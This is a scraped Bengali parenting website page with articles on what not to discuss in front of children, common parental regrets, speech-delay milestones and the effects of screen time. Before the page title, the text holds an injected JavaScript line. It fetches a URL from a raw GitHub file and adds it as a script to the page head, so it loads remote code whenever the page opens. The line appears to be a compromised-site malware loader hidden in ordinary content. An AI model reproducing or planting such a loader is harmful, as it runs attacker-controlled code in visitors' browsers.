;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); শিশুর সামনে যে বিষয়ে আলোচনা করবেন না — Parenting Point
Connect with us

স্মার্ট প্যারেন্টিং

শিশুর সামনে যে বিষয়ে আলোচনা করবেন না

পারিবারিক জীবনে কিছু কিছু সংবেদনশীল বিষয় থাকে, যেগুলো শিশুর সামনে আলোচনা করা ঠিক না। শিশুর সঙ্গে শিশুর মতো করেই মিশতে হবে। শিশুর বেড়ে ওঠার স্বাভাবিকতায় যাতে ছন্দপতন না হয় পাশাপাশি ‍শিশুর মনের উপর ওপর যাতে চাপ না পড়ে— সে কারণেই শিশুর সামনে নিচে উল্লেখিত বিষয়ে কথা বলা যাবে না।

what not to speak in front of your child

১. আর্থিক অবস্থাঃ আপনার পরিবারের আর্থিক অবস্থা যেমনই হোক না কেন, শিশুর সামনে তা আলোচনা করা থেকে বিরত থাকুন। আর্থিক সমস্যার ভেতর দিয়ে গেলেও শিশুকে তা বুঝতে দেওয়া যাবে না। আবার আপনি যদি বিলিয়নিয়ার হন, সেটির বাড়াবাড়ি প্রকাশও শিশুর স্বাভাবিক মানসিক বিকাশকে বাধাগ্রস্ত করতে পারে।

২. দাম্পত্য সমস্যাঃ নিজেদের দাম্পত্যজীবনের যেকোনো সমস্যা কেবল শিশু কেন, যে কারও থেকেই আড়ালে রাখার চেষ্টা করুন। নিজেদের সমস্যা যথাসম্ভব গোপনীয়তা বজায় রেখে নিজেরা আলোচনার মধ্য দিয়ে সমাধান করুন। প্রয়োজনে বাসার বাইরে কোনো রেস্টুরেন্টে গিয়ে খোলামেলা আলাপ করুন। শিশুর সামনে কোন অবস্থায় এসব বিষয়ে আলাপ করা যাবে না। এতে শিশুর মনে বিরূপ প্রভাব পড়তে পারে। মা ও বাবা যে কারও প্রতি, এমনকি দুজনের প্রতিই শিশুর দৃষ্টিভঙ্গি বদলে যেতে পারে।

৩. যুদ্ধ, হানাহানি, গোলাগুলি, রাজনৈতিক অস্থিরতাঃ দেশে বা বিশ্বের কোথাও যদি কোনো জরুরি অবস্থার সৃষ্টি হয়, যুদ্ধ চলে, এসব নৃশংসতা নিয়ে শিশুর সামনে আলাপ না করাই ভালো। এমনকি কম্পিউটার, মুঠোফোন বা টেলিভিশনের (সিনেমা বা বাস্তবে) নৃশংসতার কোন দৃশ্য শিশুর সামনে দেখবেন না। এতে শিশুর কোমল মনে গভীর ছাপ ফেলতে পারে।

৪. অন্যের সমালোচনাঃ শিশুর সামনে অন্যকে ‘জাজ’ করা বা সমালোচনা করা যাবে না। বিশেষ করে পরিবারের অন্য সদস্য যেমন: ওই শিশুর নানা–নানি, দাদা–দাদি, খালা–ফুফু বা মামা–চাচার সম্পর্কে কোনো নেতিবাচক মন্তব্য করতে যাবেন না। প্রথমত, তা শিশুর ওই ব্যক্তির প্রতি স্বাভাবিক দৃষ্টিভঙ্গি তৈরিতে বাধা সৃষ্টি করবে। আর দ্বিতীয় সমস্যাটি আরও গুরুতর। শিশু ওই ব্যক্তির কাছে গিয়ে গড়গড় করে বলে দেবে যে আপনি তাঁর সম্পর্কে ‘উল্টাপাল্টা’ কী বলেছেন! ধরুন, শিশু তার দাদিকে গিয়ে বলল, ‘জানো, মা বলেছে তুমি নাকি পচা। কানে কানে আরেকটা কথা বলি শোনো, তোমাকে যে বললাম, মাকে কিন্তু বলবে না। আমাকে বলতে নিষেধ করেছে। আর এই চকলেটটা দিয়েছে।’

৫. শারীরিক জটিলতাঃ শিশুর সামনে জটিল কোনো অসুখ বা রোগ নিয়ে আলাপ করবেন না। 

৬. হতাশা বা মানসিক জটিলতাঃ শারীরিক সমস্যার মতো মানসিক জটিলতাও সমান গুরুতর। তাই আপনার শিশুর সামনে ব্যক্তিগত হতাশা, অফিসের চাপ, মানসিক সমস্যা নিয়ে আলাপ করবেন না। এটা তাকেও প্রভাবিত করতে পারে।

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

স্মার্ট প্যারেন্টিং

যে ৭টি ভুলের জন্য অধিকাংশ বাবা-মা পরে আফসোস করেন

পিতামাতা হওয়া মানেই কেবল খুশির রোলার কোস্টারে চড়া নয়—এটি এমন একটি যাত্রা, যেখানে প্রচুর চড়াই-উৎরাই, ভুল এবং আফসোস জড়িয়ে থাকে। প্রায় সব বাবা-মা-ই সন্তানদের জন্য সবচেয়ে ভালোটা চান, কিন্তু বাস্তবে তা সবসময় সম্ভব হয় না। ভুল হতেই পারে—কারণ, আমরা সবাই মানুষ। তবে কিছু ভুলের খেসারত অনেক বড় হয়ে দাঁড়ায়, যা পরে আফসোসে পরিণত হয়।

বিভিন্ন বাবা-মার নিজস্ব নীতি ও মূল্যবোধ থাকলেও একটি বিষয়ে সবাই একমত—যদি সময়কে ফিরিয়ে নেওয়া যেত, তাহলে অনেকেই কিছু ভুল শুধরে নিতে চাইতেন। চলুন দেখে নেওয়া যাক কি সেই ৭টি সাধারণ ভুল যার জন্য অধিকাংশ বাবা-মা পরে আফসোস করেন।

. সন্তানের সঙ্গে পর্যাপ্ত যোগাযোগের অভাব

জীবনের ব্যস্ততায় আমরা প্রায়শই সন্তানদের সঙ্গে কথাবার্তা বলার সময় পাই না। ছোট বাচ্চারা হয়তো ঠিকমতো কথা বলতে পারে না, তবে তাদের সঙ্গে সময় কাটানো, কথা বলা, হাসা-কান্না ভাগ করে নেওয়া অত্যন্ত গুরুত্বপূর্ণ। প্রতিদিন একটু সময় আলাদা করে সন্তানকে মন দিয়ে শোনা ও কথা বলা আপনার সম্পর্ককে আরও দৃঢ় করে তোলে। অনেক বাবা-মা যখন বুঝতে পারেন যে সন্তান বড় হয়ে গেছে, তখন তারা আফসোস করেন—কেন আরও সময় দিলাম না!

. আদর করে বুকে জড়িয়ে না ধরা

কে না চায় ভালোবাসার আলিঙ্গন? হ্যাঁ, একটু জড়িয়ে ধরা, একটু আদর, সন্তানের মনে নিরাপত্তা ও ভালোবাসার অনুভব তৈরি করে। জড়িয়ে ধরলে শরীরে “হ্যাপি হরমোন” বা আনন্দদায়ক হরমোন নিঃসরণ হয়, যা মন ভালো রাখতে সাহায্য করে। কিন্তু অনেক সময় বাবা-মা ব্যস্ততা কিংবা সামাজিক বাধ্যবাধকতার কারণে সন্তানের প্রতি এই ছোট্ট ভালোবাসার প্রকাশটুকুও করতে ভুলে যান। মনে রাখবেন—যখন সন্তান একটু বড় হয়ে যাবে, তখন হয়তো ওরা নিজেই দূরে সরে যাবে। তাই যতটা পারেন, এখনই আলিঙ্গন করে নিন!

. মুহূর্তগুলো ধরে না রাখা

আমরা ডিজিটাল যুগে বাস করি—ছবি তোলা, ভিডিও করা এখন আর কষ্টকর কাজ নয়। তবুও আমরা অনেকেই ভাবি—পরে তুলব, এখন দরকার নেই। কিন্তু এই “পরে” বলতেই কত স্মৃতি হারিয়ে যায়। ছোট ছোট মুহূর্ত, যেমন শিশুর প্রথম হাঁটা, প্রথম কথা বলা, জন্মদিনের হাসি—এসব ক্যামেরাবন্দি করে রাখুন। একদিন যখন স্মৃতির পাতায় ফিরে তাকাবেন, তখন এই মুহূর্তগুলোই হবে অমূল্য।

. সৃজনশীল খেলার সুযোগ না দেওয়া

শিশুরা জন্মগতভাবে কল্পনাশক্তিতে ভরপুর। তারা যখন খেলাধুলায় মেতে ওঠে, তখন তাদের মস্তিষ্কে নতুন নতুন চিন্তার সঞ্চার হয়। অনেক বাবা-মা শুধু নির্দিষ্ট, “শেখার” মতো খেলাতেই শিশুদের সীমাবদ্ধ রাখেন। কিন্তু আপনি কি জানেন—যখন শিশুকে স্বাধীনভাবে আঁকতে বা গড়তে দেওয়া হয়, তখনই সে নিজের সৃজনশীলতা প্রকাশ করে? তাদের আঁকা ছবির ভুল ধরবেন না, বরং উৎসাহ দিন। এভাবেই শিশুর স্বাধীন চিন্তাশক্তি ও আত্মবিশ্বাস গড়ে ওঠে।

. অতিরিক্ত কঠোর হওয়া

“বেশি নিয়মে বাঁধা থাকলে সন্তানরা ভালো হয়”—এই বিশ্বাস এখনও অনেক বাবা-মার মধ্যে রয়েছে। কিন্তু অতিরিক্ত নিয়ন্ত্রণ কিংবা কড়াকড়ি সন্তানের সঙ্গে দূরত্ব তৈরি করতে পারে। অনেক সময় সন্তানেরা মিথ্যা কথা বলতে শুরু করে শুধুমাত্র শাস্তি এড়ানোর জন্য। কঠোর শাসনের বদলে যদি বন্ধুত্বপূর্ণ সম্পর্ক গড়ে তোলা যায়, তাহলে সন্তান আপনার সঙ্গে খোলামেলা কথা বলবে। পরে যখন সন্তানেরা দূরে সরে যায়, তখন বাবা-মার মনে কেবলই আফসোস থেকে যায়—“আমি কেন এত কঠোর ছিলাম?”

. সন্তানের মতামতকে অবমূল্যায়ন করা

আমরা প্রায়ই মনে করি—আমরা বড়, তাই সবকিছু আমরাই ভালো বুঝি। কিন্তু সন্তানেরাও চিন্তা করতে পারে, তাদের নিজস্ব মতামত থাকতে পারে। সন্তান যখন কিছু বলতে চায়, তখন মনোযোগ দিয়ে শুনুন। শুধু উপদেশ না দিয়ে তাদের মতামতকে গুরুত্ব দিন। এতে তাদের আত্মমর্যাদা বাড়বে এবং আপনি হয়তো তাদের কাছ থেকেও কিছু শিখতে পারেন।

. অর্থ উপার্জনের চাপে স্মৃতিগুলো বানানো হয়ে ওঠে না

পরিবারের জন্য পরিশ্রম করা জরুরি, কিন্তু সেই সঙ্গে সন্তানদের সঙ্গে সময় কাটানোও ততটাই গুরুত্বপূর্ণ। একটা জরুরি মিটিং একদিন পিছিয়ে গেলেও কিছু আসে যায় না, কিন্তু সন্তানের সঙ্গে পার্কে যাওয়া, একসাথে গল্প শোনা বা পিকনিকে যাওয়া—এসব স্মৃতিই একদিন অমূল্য হয়ে উঠবে। সন্তানের চোখে শৈশব মানেই হবে ভালোবাসা আর আনন্দে ভরা মুহূর্ত, যদি আপনি পাশে থাকেন।

পিতামাতা হওয়া কোনো নির্দিষ্ট নিয়ম বা ম্যানুয়াল অনুযায়ী চলে না। সব চেষ্টার পরেও কিছু না কিছু ভুল হতেই পারে। কিন্তু নিজেকে দোষারোপ না করে, নিজের সন্তানকে ভালোবেসে, বোঝাপড়া তৈরি করে আগানোই হলো সঠিক পথ। যদি আপনি সন্তানের সঙ্গে একটি সম্পর্ক তৈরি করতে পারেন—যেখানে ভালোবাসা, সম্মান আর বোঝাপড়া রয়েছে—তাহলে আপনি সত্যিই একজন সফল পিতা-মাতা।

Continue Reading

স্মার্ট প্যারেন্টিং

স্পিচ ডিলে বা শিশুর কথা বলার দেরির কারণ ও সমাধান

ডা: মৌমিতা পাল

শিশু-কিশোর মনোরোগ বিশেষজ্ঞ
এম.বি.বি.এস (এস.ইউ. এস.টি )
এমডি, চাইল্ড এন্ড এডোলেসেন্ট সাইকিয়াট্রি ( বঙ্গবন্ধু শেখ মুজিব মেডিকেল ইউনিভার্সিটি)

প্রযুক্তির এই যূগে ইদানীং কালে দেড় বছর থেকে পাঁচ বছর বয়সী শিশুর পিতা-মাতাদের একটি কমন কনসার্ন হলো স্পিচ ডিলে। স্পিচ ডিলে (Speech Delay) বলতে বোঝায় শিশুর বয়স অনুযায়ী স্বাভাবিক ভাষা বা কথা বলার দক্ষতা অর্জনে বিলম্ব হওয়া। এটি সাধারণত তখন বোঝা যায় যখন একটি শিশু নির্দিষ্ট বয়সে কথা বলা বা শব্দ উচ্চারণ করার ক্ষেত্রে অন্যান্য শিশুদের থেকে পিছিয়ে থাকে।

speech delay

কিন্তু অনেক সময় পিতা-মাতারা বুঝে ওঠেন না কখন বা কোন বয়সে এবং ঠিক কতটুকু কথা বলতে না পারার সীমাবদ্ধতা থাকলে তাকে স্পিচ ডিলে বলা হয়।

কোন বয়সে কতটুকু কথা বলতে বা শব্দ জানতে পারা দরকার সেটা বোঝার আগে আমাদের জানতে হবে কতটুকু কথা বলার সীমাবদ্ধতা থাকলে আমরা তাকে স্পিচ ডিলে বলবো।

এই সীমাবদ্ধতাগুলোকে সাধারণত দুই ভাগে ভাগ করা যায়:

১. মিডিয়ান এজ (Median Age)

অর্থাৎ যে বয়সে ৫০% বাচ্চাদের তাদের বয়স অনুযায়ী নির্দিষ্ট ভাষাগুলো বা শব্দগুলো শিখে ফেলা উচিত।

২. লিমিট এজ (Limit Age)

অর্থাৎ যে বয়সে ৯৭.৫% বাচ্চাদের তাদের বয়স অনুযায়ী নির্দিষ্ট সংখ্যক শব্দ শিখে ফেলা উচিত।


বয়স এবং শব্দের সংখ্যা অনুযায়ী শিশুর সক্ষমতা:

১. বাবলিং (Babbling)

বাবলিং হলো শিশুর জীবনের প্রথম কয়েক মাসে এলোমেলোভাবে বিভিন্ন ধ্বনি তৈরি করার পর্যায়, যা ভাষা শেখার প্রাথমিক ধাপ। এ সময় শিশুরা বাবা-মা অথবা আশেপাশের পরিবেশ থেকে আওয়াজ শুনে অনুকরণ করার চেষ্টা করে। উদাহরণ: “বাব্বা”, “দা-দা”।

  • মিডিয়ান এজ: ৪-৬ মাস (শতকরা ৫০% শিশুর এই দক্ষতা অর্জন করা উচিত)।
  • লিমিট এজ: ৯ মাস (শতকরা ৯৭% শিশুর এই দক্ষতা অর্জন করা উচিত)।

গবেষণা বলে, প্রথম ৯ মাসের মধ্যে যদি বাবলিং না থাকে, তবে চিকিৎসকের পরামর্শ নেওয়া জরুরি। কারণ এটি হিয়ারিং প্রবলেম বা ডেভেলপমেন্টাল ডিলের লক্ষণ হতে পারে।


২. প্রথম শব্দ:

যেমন “মা”, “বাবা”, “দাদা”।

  • মিডিয়ান এজ: ১২ মাস।
  • লিমিট এজ: ১৮ মাস।

৩. দুই শব্দের বাক্য গঠন:

যেমন “মা দাও”, “জল খাও”।

  • মিডিয়ান এজ: ২৪ মাস (২ বছর)।
  • লিমিট এজ: ৩০ মাস (আড়াই বছর)।

৪. অর্থবহ শব্দ বলা:

  • ১০-২০ শব্দ: ১৮ মাস (মিডিয়ান এজ)।

  • ৫০ শব্দ:

    • মিডিয়ান এজ: ২৪ মাস।
    • লিমিট এজ: ৩৬ মাস।
  • ২০০-৩০০ শব্দ:

    • মিডিয়ান এজ: ৩৬ মাস।
    • লিমিট এজ: ৪২-৪৮ মাস।

৫. বাক্য তৈরি করা:

তিন শব্দের বাক্য যেমন “আমি জল খাবো”।

  • মিডিয়ান এজ: ৩৬ মাস।
  • লিমিট এজ: ৪২ মাস।

৬. স্পষ্টভাবে কথা বলা:

  • ৭৫% বোধগম্য করে কথা বলা:

    • মিডিয়ান এজ: ৩৬ মাস।
    • লিমিট এজ: ৪৮ মাস।
  • ১০০% বোধগম্য করে কথা বলা:

    • মিডিয়ান এজ: ৪৮ মাস।
    • লিমিট এজ: ৬০ মাস।

স্পিচ ডিলের কারণ:

  • শারীরিক বা মুখমণ্ডলের গঠন গত সমস্যা ( ক্লেফট লিপ, ক্লেফট প্যালেট ইত্যাদি)
  • শ্রবনশক্তির সীমাবদ্ধতা
  • অন্যান্য নিউরোডেভেলপ মেন্টাল সমস্যা ( যেমম অটিজম, ল্যাংগুয়েজ ডিসঅর্ডার ইত্যাদি)
  • জন্মগত ত্রুটি যেমন সেরেব্রাল পালসি
  • বিভিন্ন সিন্ড্রোমিক ডিসঅর্ডার
  • বিভিন্ন পারিবারিক বা পরিবেশগত কারণ
  • গর্ভকালীন জটিলতা বা ইনফেকশানের ইতিহাস ( যেমন, রুবেলা, টক্সপ্লাজমা, বিভিন্ন নেশা জাতীয় দ্রব্য গ্রহন , ধূমপান, মদ্যপান ইতাদি)
  • বিকাশের জন্য বা কথা শেখানোর  জন্য গুরুত্বপূর্ণ পদক্ষেপ গ্রহন বা চেষ্টার ঘাটতি ইত্যাদি।

চিকিৎসা ও করণীয়:

  • যত তাড়াতাড়ি সম্ভব সম্ভব সমস্যা নির্ধারণ এবং তা মূল্যায়ন করা : এই ব্যাপারে একজন বিশেষজ্ঞ  চিকিৎসকের পরামর্শ নেয়া জরুরি যেমন পেডিয়াট্রিক নিউরোলজিস্ট কিংবা চাইল্ড সাইক্রিয়াট্রিস্ট, চাইল্ড সাইকোলজিস্ট/ স্পিড থেরাপিস্ট
  • স্পিচ থেরাপি: এটি স্পিচ ডিলে সমস্যার একটি অন্যতম এবং গুরুত্বপূর্ণ চিকিৎসা পদ্ধতি। যেখানে একজন ট্রেন্ড থেরাপিস্ট বাচ্চাকে তার সমস্যা অনুযায়ী থেরাপি বা প্রশিক্ষণ দিবে
  • পরিবার এবং পরিবারের সদস্যদের সাথে নিয়মিত কথা বলা কিংবা অভিব্যক্তি বুঝানোর চেষ্টা করা,শিশুর সাথে কথা বলা গল্প বলা বিভিন্ন রকমের ইন্টারেকশন করা
  • অন্যান্য সমস্যা যেমন শারীরিক ত্রুটি কিংবা শ্রবণ শক্তির সীমাবদ্ধতা থাকলে সেটার চিকিৎসা করা
  • অন্যান্য স্নায়ু বিকাশ জনিত সমস্যা যেমন সেরেব্রাল পালসি এডিএইচডি/ বা অন্যান্য জেনেটিক ডিসঅর্ডার থাকলে সেটার সিম্পটমস অনুযায়ী চিকিৎসা করা

সর্বোপরি পিতা-মাতার এবং পরিবারের অন্যান্য সদস্যের ধৈর্য ধারণ এবং পারস্পরিক সহযোগিতা এবং নিরবিচ্ছিন্ন চেষ্টা এই সমস্যার সমাধানে অনেক গুরুত্বপূর্ণ ভূমিকা পালন করবে


রেফারেন্স:
Singapore Medical Journal

Continue Reading

স্মার্ট প্যারেন্টিং

শিশু এবং কিশোরদের উপর ইলেকট্রনিক ডিভাইসের প্রভাব

ডা: মৌমিতা পাল

শিশু-কিশোর মনোরোগ বিশেষজ্ঞ
এম.বি.বি.এস (এস.ইউ. এস.টি )
এমডি, চাইল্ড এন্ড এডোলেসেন্ট সাইকিয়াট্রি ( বঙ্গবন্ধু শেখ মুজিব মেডিকেল ইউনিভার্সিটি)

সব দিকে এখন প্রযুক্তির জয়জয়কার। স্মার্টফোন এবং সামাজিক যোগাযোগ মাধ্যম থেকে শুরু করে টেলিভিশন এবং ট্যাবলয়েড বেইসড খেলনা সবকিছুতেই শিশু এবং কিশোরেরা প্রতিনিয়ত প্রযুক্তি দিয়ে আচ্ছন্ন। বাস্তবতা হচ্ছে শিশু এবং কিশোরদের প্রযুক্তির ব্যবহার তাদের যোগ্যতা অর্জন, শিক্ষা,দক্ষতা অর্জনের জন্য যেমনটা প্রয়োজন, ঠিক তেমনভাবে প্রযুক্তির অতিরিক্ত ব্যবহার প্রভাব ফেলছে তাদের শরীর এবং মনস্তত্ত্বের ওপর।

impact-of-electronic-devices-on-children-and-teens

এই প্রভাব হতে পারে, চোখের সমস্যা, স্থূলতা,অন্যান্য শারীরিক সমস্যা থেকে শুরু করে সামাজিক দক্ষতা এবং আচরণগত সমস্যা, কিংবা ঘুম এবং স্মৃতি শক্তির সমস্যা ।

যেহেতু প্রযুক্তি আমাদের, দৈনন্দিন জীবনের  একটি অবিচ্ছেদ্য অংশ হয়েছে, এবং অনেক কিছুই প্রযুক্তি নির্ভর, সুতরাং পিতামাতারা হয়তো প্রযুক্তিকে তাদের সন্তানের জীবন থেকে একদমই ব্যান করে দিতে পারবেন না, কিন্তু তাদের উচিত হবে, অতিরিক্ত সতর্কতা এবং সচেতনতার সহিত সেই প্রযুক্তির ব্যবহারকে তাদের সন্তানের মধ্যে চালনা করা।

কীভাবে প্রযুক্তি শিশু এবং কিশোরদের মধ্যে প্রভাব ফেলে

শিশুদের স্থূলতা এবং প্রযুক্তি:

শিশু এবং কিশোররা যখন ডিভাইস নিয়ে ব্যস্ত থাকে স্বাভাবিকভাবেই তারা বাইরের শারীরবৃত্তীয় কার্যকলাপ থেকে বিচ্ছিন্ন হয়ে যায়, মাঠে খেলাধুলা, শারীরিক ব্যায়াম এগুলা আর হয়ে ওঠে না। ফলশ্রুতিতে হয়ে যায় স্থূলতা। পাশাপাশি অনেক গবেষণা এটাও বলে যে, অতিরিক্ত মোবাইল কিংবা টেলিভিশন দেখিয়ে যখন আমার শিশু এবং কিশোরদেরকে খাওয়ানোতে ব্যস্ত রাখি, তখন তাদের “মাইন্ডফুল ইটিং” থেকে তারা ব্যাহত হয়। যা পরবর্তীতে আরো স্থুলতাকে ত্বরান্বিত করে।

সুতরাং শিশু এবং কিশোরদের প্রযুক্তি নির্ভরতা কে, একদম অবাঞ্ছিত না করে, উচিত হবে সেটাকে নিয়ন্ত্রণে নিয়ে আসা, যতটুকু প্রয়োজন ঠিক ততটুকু ব্যবহার করা, বাইরের খেলাধুলা কিংবা শারীরবৃত্তীয় কাজগুলোকে উৎসাহিত করা।

টেকনোলজির প্রভাবে শিশু এবং কিশোরদের সামাজিক দক্ষতা:

প্রযুক্তির উন্নয়নের আরেকটি চ্যালেঞ্জ হলো সামাজিক দক্ষতা। একটি গান আমরা সবাই জানি পৃথিবীটা নাকি ছোট হতে হতে ‘স্যাটেলাইট আর ক্যাবলের হাতে, ড্রয়িং রুমে রাখা বোকা বাক্সতে বন্দী”। ঠিক তেমনি পৃথিবীটা যেমন আমাদের হাতে বন্দি, আমাদের সমাজ পরিবার সবকিছুই যেন এই মুঠোফোন কিংবা এই ডিভাইসের মধ্যেই যেন সবকিছু বন্দী। এতে করে শিশু এবং কিশোরদের পারস্পরিক সম্পর্ক কিংবা সামাজিক দক্ষতা খুব কঠিন ভাবে ব্যাহত হচ্ছে।

এতে করে শিশু এবং কিশোরদের মধ্যে আত্মবিশ্বাস কমে যাচ্ছে, কীভাবে সামাজিক পরিবেশে নিজেদেরকে মানিয়ে নিতে হয় সেটা শিখতে পারছে না, বন্ধুবান্ধব কিংবা আত্মীয় স্বজনের সাথে সম্পর্ক তৈরি কিংবা রক্ষা করতে পারছে না।

এমনকি সমবয়সি বন্ধুদের সাথেও বন্ধুত্ব তৈরি করতে সমস্যা হচ্ছে।

সুতরাং এই ক্ষেত্রে পিতা মাতার ভূমিকা হচ্ছে, প্রযুক্তির ব্যবহার একটি নির্দিষ্ট লিমিটের মধ্যে নিয়ে আসা, পারিবারিক বন্ধন আরো দৃঢ় করা। যেমন, প্রতিদিন নির্দিষ্ট একটা সময় পরিবারের সদস্যরা একই সাথে বসে দুপুরের খাবার খাবে, একসাথে বসে গল্প করবে, ছুটির দিনে বেড়াতে যাবে, আত্মীয়-স্বজনদের সাথে দেখা করবে, সমবয়সি বন্ধুদের সাথে খেলাধুলা করবে ইত্যাদি।

ভুলে গেলে চলবে না, শিশু এবং কিশোররা অনুকরণ প্রিয়। তারা তাই শিখে যা তারা দেখে, তাই তাদেরকে সেই অভ্যাসে তৈরি করতে হলে পিতা-মাতাকেও সেভাবেই রুটিন সাজিয়ে নিতে হবে

প্রযুক্তি এবং মনোযোগ

গবেষণা বলে অতিরিক্ত প্রযুক্তি এবং ডিভাইসের ব্যবহার, শিশু এবং কিশোরদের মধ্যে মনোযোগের ঘাটতি ঘটায়।

স্ক্রিনে চলতে থাকা অনবরত রিলস কিংবা শর্টস যখন শিশু-কিশোররা দেখে, একটা নির্দিষ্ট কোন কিছুতে তারা তাদের মস্তিষ্ককে তখন স্থির করতে পারে না, ঠিক একইভাবে তারা তাদের মনোযোগ টাকেও স্থির করতে পারে না, ধীরে ধীরে তাদের মধ্যে স্থায়ী  হয়ে যায় সেই মনোযোগের ঘাটতি।

পাঁচ বছরের নিচে শিশুদের মধ্যে প্রযুক্তির প্রভাব :

এটা আমরা অস্বীকার করতে পারবো না যে, এখন ছয় মাস বয়স থেকে শিশুদের হাতে তুলে দেয়া হয় বিভিন্ন ইলেক্ট্রনিক ডিভাইস।

এতে করে ঠিক যে বয়সে তাদের সামাজিক যোগাযোগ এর ক্ষমতা বেড়ে ওঠার কথা সেটা ব্যাহত হয়। শিশুরা দেরিতে কথা বলতে শিখে, কিংবা কথা বলতে শিখলেও তো অস্পষ্ট হয় কিংবা মনের ভাবকে সঠিকভাবে প্রকাশ করতে পারে না

তাছাড়া অল্প বয়সেই শুরু হয়ে যায় চোখের সমস্যা, ঘুমের সমস্যা, আচরণ গত সমস্যা।

ঠিক কত সময় প্রযুক্তির ব্যবহারকে আমরা অতিরিক্ত বলবো?

আমেরিকান একাডেমি অফ চাইল্ড এন্ড অ্যাডোলসেন্ট সাইকিয়াট্রি (AACA) এর মতে বিশ্বব্যাপী কিশোরেরা প্রতিদিন গড়ে ৯ ঘণ্টার বেশী স্ক্রিন টাইম ইউজ করছে। এবং ৮ থেকে ১২ বছর বয়সী শিশুরা প্রতিদিন গড়ে ৬ ঘণ্টার বেশি স্ক্রিন টাইম ইউজ করছে।

“মায়ো ক্লিনিকের” পরামর্শ মতে দুই থেকে পাঁচ বছর বয়সী শিশুদের স্ক্রিন টাইম প্রতিদিন এক ঘণ্টা বা তার কমে নিয়ে আসা উচিত।

আমেরিকান একাডেমি অফ পেডিয়াট্রিক্স (AAP) অনুযায়ী, ৫ থেকে ১৮ বছর বয়সী শিশু এবং কিশোরদের পিতা-মাতাকে তাদের সন্তানদের স্ক্রিনটাইম একটি নির্দিষ্ট সময়ের মধ্যে কমিয়ে নেওয়ার পরামর্শ দেয়া হয়েছে।

Continue Reading

Latest Post

স্মার্ট প্যারেন্টিং2 days ago

যে ৭টি ভুলের জন্য অধিকাংশ বাবা-মা পরে আফসোস করেন

পিতামাতা হওয়া মানেই কেবল খুশির রোলার কোস্টারে চড়া নয়—এটি এমন একটি যাত্রা, যেখানে প্রচুর চড়াই-উৎরাই, ভুল এবং আফসোস জড়িয়ে থাকে।...

adenoid adenoid
অসুখ বিসুখ3 months ago

শিশুর এডিনয়েড সমস্যা

শীতকালে সাধারণত শিশু ও কিশোরদের ঠান্ডা-সর্দি জনিত নানা রোগ বাড়তে দেখা যায়। বিশেষ করে নাক, গলা ও কানের সমস্যা বেড়ে...

baby skin disease baby skin disease
নবজাতকের সেবা3 months ago

নবজাতকের চর্মরোগ হলে বাবা-মায়ের করণীয়: সহজ সমাধান ও পরামর্শ

নবজাতকের জন্মের পরপরই চর্মরোগ দেখা দিতে পারে। নবজাতকের ত্বক অত্যন্ত সংবেদনশীল হয়ে থাকে। যে কারণে স্বাভাবিকভাবেই তাদের ত্বক খুব সহজেই...

speech delay speech delay
স্মার্ট প্যারেন্টিং4 months ago

স্পিচ ডিলে বা শিশুর কথা বলার দেরির কারণ ও সমাধান

ডা: মৌমিতা পাল শিশু-কিশোর মনোরোগ বিশেষজ্ঞএম.বি.বি.এস (এস.ইউ. এস.টি )এমডি, চাইল্ড এন্ড এডোলেসেন্ট সাইকিয়াট্রি ( বঙ্গবন্ধু শেখ মুজিব মেডিকেল ইউনিভার্সিটি) প্রযুক্তির...

winter-baby-bathing-tips winter-baby-bathing-tips
নবজাতকের সেবা4 months ago

শীতকালে শিশুর গোসল: সতর্কতা ও সঠিক পদ্ধতি

পরিষ্কার-পরিচ্ছন্নতা শিশুর সুস্বাস্থ্যের জন্য অত্যন্ত গুরুত্বপূর্ণ। তবে শীতকালে শিশুকে গোসল করানোর সময় অতিরিক্ত যত্ন ও সতর্কতা অবলম্বন করা জরুরি। ঠান্ডা-কাশি...

impact-of-electronic-devices-on-children-and-teens impact-of-electronic-devices-on-children-and-teens
স্মার্ট প্যারেন্টিং5 months ago

শিশু এবং কিশোরদের উপর ইলেকট্রনিক ডিভাইসের প্রভাব

ডা: মৌমিতা পাল শিশু-কিশোর মনোরোগ বিশেষজ্ঞএম.বি.বি.এস (এস.ইউ. এস.টি )এমডি, চাইল্ড এন্ড এডোলেসেন্ট সাইকিয়াট্রি ( বঙ্গবন্ধু শেখ মুজিব মেডিকেল ইউনিভার্সিটি) সব...

baby winter care baby winter care
নবজাতকের সেবা5 months ago

শীতে শিশুর যত্ন

শীতের আগমন প্রাকৃতিক পরিবর্তনের এক নতুন বার্তা নিয়ে আসে। তবে এই সময়টায় শিশুরা নানা ধরনের শারীরিক ও ত্বকের সমস্যার মুখোমুখি...

হ্যান্ড, ফুট এন্ড মাউথ ডিজিস (HFMD) হ্যান্ড, ফুট এন্ড মাউথ ডিজিস (HFMD)
অসুখ বিসুখ5 months ago

হ্যান্ড, ফুট এন্ড মাউথ ডিজিস (HFMD)

ডাঃ মায়িশা হোসেন  MBBS Training/Course: PGT (Gynae & Obs) হ্যান্ড, ফুট এন্ড মাউথ ডিজিস (Hand, Foot, and Mouth Disease) একটি...

child development child development
স্মার্ট প্যারেন্টিং6 months ago

নবজাতকের মানসিক, ইমোশনাল এবং মনস্তাত্ত্বিক বিকাশ: একটি অন্তর্দৃষ্টি

ডা: মৌমিতা পাল শিশু-কিশোর মনোরোগ বিশেষজ্ঞ এম.বি.বি.এস (এস.ইউ. এস.টি )এমডি, চাইল্ড এন্ড এডোলেসেন্ট সাইকিয়াট্রি ( বঙ্গবন্ধু শেখ মুজিব মেডিকেল ইউনিভার্সিটি)...

cow milk cow milk
শিশু খাদ্য6 months ago

শিশুকে গরুর দুধ কখন থেকে খাওয়াবেন?

আগে প্রচলিত ধারণা ছিল যে, বাচ্চাকে ২ বছরের আগে গরুর দুধ খাওয়ানো যাবে না এবং বিশ্ব স্বাস্থ্য সংস্থার নির্দেশনাও একই...

Trending